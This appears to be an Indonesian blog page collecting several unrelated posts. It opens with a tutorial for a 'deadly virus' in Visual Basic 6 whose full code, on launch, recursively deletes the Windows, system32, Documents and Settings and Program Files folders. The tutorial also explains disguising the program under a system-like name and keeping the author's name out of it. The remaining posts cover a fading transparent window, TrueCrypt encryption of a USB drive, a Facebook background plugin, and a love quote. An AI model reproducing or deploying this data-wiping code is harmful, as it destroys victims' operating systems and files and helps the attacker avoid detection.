Pembuatan Virus Lewat VB 6.0

CARA MEMBUAT BUAT VIRUS MEMATIKAN

Hey kawan semua nih coba buat viruz mematikan dg VB :
Yg diperluin:
1. VB(optimal : 6.0)
2. Ngerti tombol2nya VB
Tutorial Bikin Virus cman 1 mnt
1. bikin form sekecil mungkin
2. didalem form itu, masukin nih kode
Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
3.
Kode yg warna biru itu penangkal nih virus, barang kali lu ga sengaja tekan jadi lu slamat. jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, lu ga bakal keserang ndiri… bisa lu edit koq jadi apa gitu…
Yang warna merah itu folder yg bakal didelete ama nih virus, lu edit ndiri aja…
4. Bikin nih project namanya kaya nama system, disini gwe make nama “SystemKernel32″ jadi ga bakal dicurigain
5. Jangan pernah naroh nama lu di nih virus… k?
6. compile deh… slese!
Simple kan? nih virus kerjanya cman ngapus system, lumayan bahaya… ini cman contoh bikin virus… slanjutnya.. coba2 ndiri zahh

care our unity

Created By Ridhdevil@gmail.com    

Read Full...

Tampilan Form Transparant Dengan Efect Warna Random



        1).  Pertama2  Buka VB 6.0 , Lalu create new form ->

kemudian tambahkan modul , dan di dalam code modul trsbt copy kan script di bwh ini.

 

Declare Function GetVersionEx Lib "kernel32.dll" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long
Declare Function GetWindowLong Lib "user32.dll" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Declare Function SetWindowLong Lib "user32.dll" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Declare Function UpdateLayeredWindow Lib "user32.dll" (ByVal hWnd As Long, ByVal hdcDst As Long, pptDst As Any, psize As Any, ByVal hdcSrc As Long, pptSrc As Any, crKey As Long, ByVal pblend As Long, ByVal dwFlags As Long) As Long

Public Type POINTAPI
    x As Long
    y As Long
End Type

Public Type SIZE
    cx As Long
    cy As Long
End Type

Public Type BLENDFUNCTION
    BlendOp As Byte
    BlendFlags As Byte
    SourceConstantAlpha As Byte
    AlphaFormat As Byte
End Type

Public Const GWL_STYLE = (-16)
Public Const GWL_EXSTYLE = (-20)
Public Const WS_EX_LAYERED = &H80000
Public Const ULW_COLORKEY = &H1
Public Const ULW_ALPHA = &H2
Public Const ULW_OPAQUE = &H4
Public Const AC_SRC_OVER = &H0
Public Const AC_SRC_ALPHA = &H1
Public Const AC_SRC_NO_PREMULT_ALPHA = &H1
Public Const AC_SRC_NO_ALPHA = &H2
Public Const AC_DST_NO_PREMULT_ALPHA = &H10
Public Const AC_DST_NO_ALPHA = &H20
Public Const LWA_COLORKEY = &H1
Public Const LWA_ALPHA = &H2

Public Type OSVERSIONINFO
    dwOSVersionInfoSize As Long
    dwMajorVersion As Long
    dwMinorVersion As Long
    dwBuildNumber As Long
    dwPlatformId As Long
    szCSDVersion As String * 128
End Type



Public Const VER_PLATFORM_WIN32_WINDOWS = 1
Public Const VER_PLATFORM_WIN32_NT = 2


Public Function IsLayeredWindow(ByVal hWnd As Long) As Boolean
Dim WinInfo As Long

    WinInfo = GetWindowLong(hWnd, GWL_EXSTYLE)
    If (WinInfo And WS_EX_LAYERED) = WS_EX_LAYERED Then
        IsLayeredWindow = True
    Else
        IsLayeredWindow = False
    End If
End Function

Public Sub SetLayeredWindow(ByVal hWnd As Long, _
ByVal bIsLayered As Boolean)
    Dim WinInfo As Long

    WinInfo = GetWindowLong(hWnd, GWL_EXSTYLE)
    If bIsLayered = True Then
        WinInfo = WinInfo Or WS_EX_LAYERED
    Else
        WinInfo = WinInfo And Not WS_EX_LAYERED
    End If
    SetWindowLong hWnd, GWL_EXSTYLE, WinInfo
End Sub

' ambil deskripsi sistem operasi
Public Function GetWindowsVersion(ByRef IsWin2000 As Boolean) As String
    Dim TheOS As OSVERSIONINFO
    Dim strCSDVersion As String

    TheOS.dwOSVersionInfoSize = Len(TheOS)
    GetVersionEx TheOS
    Select Case TheOS.dwPlatformId
    Case VER_PLATFORM_WIN32_WINDOWS
        If TheOS.dwMinorVersion >= 10 Then
            GetWindowsVersion = "Windows 98 version: "
        Else
            GetWindowsVersion = "Windows 95 version: "
        End If
    Case VER_PLATFORM_WIN32_NT
        GetWindowsVersion = "Windows NT version: "
    End Select
  
   ' uraikan informasi tambahan dari string dengan null char
    If InStr(TheOS.szCSDVersion, Chr(0)) <> 0 Then
        strCSDVersion = ": " & Left(TheOS.szCSDVersion, InStr(TheOS.szCSDVersion, Chr(0)) - 1)
    Else
        strCSDVersion = ""
    End If
    GetWindowsVersion = GetWindowsVersion & TheOS.dwMajorVersion & "." & _
        TheOS.dwMinorVersion & " (Build " & TheOS.dwBuildNumber & strCSDVersion & ")"
  
    ' set dalam mode parameter ByRef
    If TheOS.dwMajorVersion = 5 Then
        IsWin2000 = True
    Else
        IsWin2000 = False
    End If
End Function



          2).lalu close modul code

          3).tambahkan timer pada form dan intervalnya ubah menjadi "100"

          4).setelah timer tersedia , anda bisa Klick 2x pada area form

dan mencopykan script ini ke dalamnya.....

Dim i As Integer

Private Sub Form_Load()

Dim bool As Boolean
    i = 100
    GetWindowsVersion bool
    If Not bool Then
        MsgBox "Diperlukan Sistem Operasi Windows 2000 atau Lebih" & vbCrLf & "Program dibatalkan", , "Perhatian"
     
    End If
SetLayeredWindow Me.hWnd, True
    SetLayeredWindowAttributes Me.hWnd, 0, (255 * 100) / 100, LWA_ALPHA
    Form1.Caption = "Created By Ridhdevil"
Form1.WindowState = 2

End Sub

Private Sub Timer1_Timer()


Randomize
Form1.BackColor = RGB(Rnd * 300, Rnd * 300, Rnd * 300)
 i = i - 5
    SetLayeredWindow Me.hWnd, True
    SetLayeredWindowAttributes Me.hWnd, 0, (255 * i) / 100, LWA_ALPHA
    If i = 5 Then
        Unload Me
    End If
End Sub

Sudah selesai ... Silahkan Di Play / Jalankan ,,,atau Bisa Saja Langsung Di Jalankan,

Terimakasih Tas Pengunjungannya....... Matur Thank You.....

Created By: Ridhdevil@gmail.com      

care our unity

Read Full...

menambahkan pasword usb or flashdisk

Memberikan Password Pada USB Flashdisk

Written by Bayu Bantenk

Sunday, 15 February 2009 23:55

Dijaman komputerisasi yang sudah semoderen ini memiliki falshdisk adalah suatu kebutuhan karena selain ukuran fisiknya yang kecil flashdisk pun memiliki kapasitas yang lumayan besar untuk menyimpan data-data baik itu data berupa lagu ataupun data kerjaan atau privasi kita. Adakalanya kita sering bingung saat flashdisk kita akan dipinjam oleh rekan kita karena kebetulan disana ada data yang sangat rahasia dan tidak boleh dibaca orang lain.... Tapi tak perlu khawatir lagi saat ini karena sudah banyak aplikasi yang menawarkannya baik itu yang bayar ataupun yang gratisan, tapi kali ini kita akn membahas yang gratisan yaitu aplikasi milik .TrueCrypt Apa aja sih yang bisa dilakukan oleh TrueCrypt: Mengenkripsi data yang tersimpan dan memberi pengamanan berupa password untuk dapat membukanya. Ini berguna misalnya untuk menjaga agara orang lain tidak dengan mudah menyalin atau sekedar mengintip isi file dan folder di dalamnya. Membuat hardisk virtual (di mana data kita tersimpan)dengan kemampuan dapat dibuka dalam mode read only. Misalnya untuk pengamanan data dari infeksi virus atau malware tertentu. Tidak menjamin, tetapi dapat meminimalisir. Cara menggunakannya adalah sebagai berikut: 1. Download dulu file TrueCrypt Setup 6.1a.exe di TrueCrypt.com 2. Jalankan fileTrueCrypt Setup 6.1a.exe dengan double click file tersebut pada Windows Explorer     pilih  extract 3. Masukkan lokasi hasil extract file tersebut Registrasi Folder Yang Akan Diproteksi/Di password: 1. copy file TrueCrypt Format.exe, TrueCrypt.exe dan truecrypt.sys ke dalam usb flashdisk. 2. jalankan file TrueCrypt Format.exe kemudian muncul wizardnya.    Pilih Create standard TrueCrypt volume kemudian klik next 3. Disini kita menentukan file data yang akan dibuat. Misalnya Flashdisk kita berada pada drive E,     mengisikan misalnya     E:\Dataku atau     E:\Dataku.jpg atau yang     lain. Di sini file data dapat     dibuat dengan ekstensi     apa saja, atau pun tanpa     ekstensi.     Selanjutnya klik Next. 4. Pilihlah algoritma enkripsinya. Saya pilih defaultnya yaitu AES, kemudian klik Next. 5. Kemudian kita menentukan berapa besar file data yang akan kita gunakan sebagai media     penyimpanan ini dari sisa ruang yang ada. membuat besar file didalam Flashdisk kamu     yg ingin proteksi. seberapa pun besar kapasitas USB flashdisk kamu, sisakan sedikit untuk encrypt     datanya.     contoh : USB 128MB - yg diproteksi 120MB, USB 256MB - yang diproteksi 248MB dst...     Selanjutnya kita masukkan password dan konfirmasinya yang akan kita gunakan untuk mengakses file        data yang akan dibuat. 6. Jika kita mengisi jumlah karakternya kurang dari 20, akan ada peringatan dan konfirmasi     apakah akan menggunakan password pendek tersebut. Klik Yes untuk berlanjut atau No     jika akan mengulang dengan password yang lain. 7. Selanjutnya kita diminta menentukan format volume-nya. Ketika melihat Random Pool yang berjalan,     kita dapat langsung mengklik tombol Format untuk mulai pemformatan.     Langkah ini bukan memformat USB Flashdisk tapi file data yang kita buat. 8. Ini merupakan proses pemformatan. Semakin besar volume yang kita buat,     semakin lama waktu yang diperlukan. Tergantung juga pada performance komputer yang digunakan     dan kecepatan akses USB Flashdisk. Jadi pada tahap ini, kita harus bersabar.     Sampai muncul bahwa volume TrueCrypt telah berhasil dibuat.     9. Klik Exit pada jendela berikutnya yang muncul. 10. Hapus TrueCrypt Format.exe Kita telah berhasil meregistrasikan E:\Dataku menjadi tempat penyimpanan file yang akan diproteksi. tapi bagaimanakah cara menyimpannya file tersebut kedalam file tersebut.... pertanyaan yang bagus menyimpannya adalah dengan cara biasa seperti kita menyimpan file di windows tapi sebelumnya harus diaktifkan dulu E:\Dataku agar bisa menyimpan data. Langkah tersebut adalah Jalankan file TrueCrypt.exe Maka akan muncul nama-nama drive, pilih salah satu misalnya drive X: Tekan tombol Select File kemudian pilih E:\Dataku Kemudian tekan tombol Mount. Maka akan terbentuk drive baru yang bernama X: yang isinya adalah file E:\Dataku Untuk mengetest nya lihat di windows Explorer buka My Computers maka akan muncul Drive X: Anda bisa copy-paste data2 anda ke drive X: tersebut Begitu selesai daningin di kunci kembali, jalankan kembali file TrueCrypt.exe kemudian pilih Drive X: tekan tombol Umount. Selesai... Begitulah caranya... terlihat ribet tapi nyatanya nggak kok... silahkan mencoba...

Read Full...

cara menampilkan background pada facebook

Hay.... begini lo cara buat background facebook..
Caranya download aplikasi ini yontoocliensetup.exe di http://yontoo.com/ atau klik disini.
kalau anda sudah  mendownloadxa silahkan instal aplikasi tersebut (yontocliensetup.exe)
kalau belum jelas
1. masuk pada http\;//yontoo.com/
2. klik  get plug in di deretan bawah
3. klik start instal ,simpan dimana setup tsb, save as,
4. baru instal setup tersebut dimana anda tadi menyimpan.....
5. setelah itu pelajari sendiri selengkapnya

 terimakasih......


                                                                                                                                           By : Ridho. Read Full...

kata bijak tentang cinta

Cintailah kehidupan, dan kehidupan akan mencintai anda. Cintailah orang lain, dan mereka akan mencintai anda.
(Love life and life will love you back. Love people and they will love you back.)

Read Full...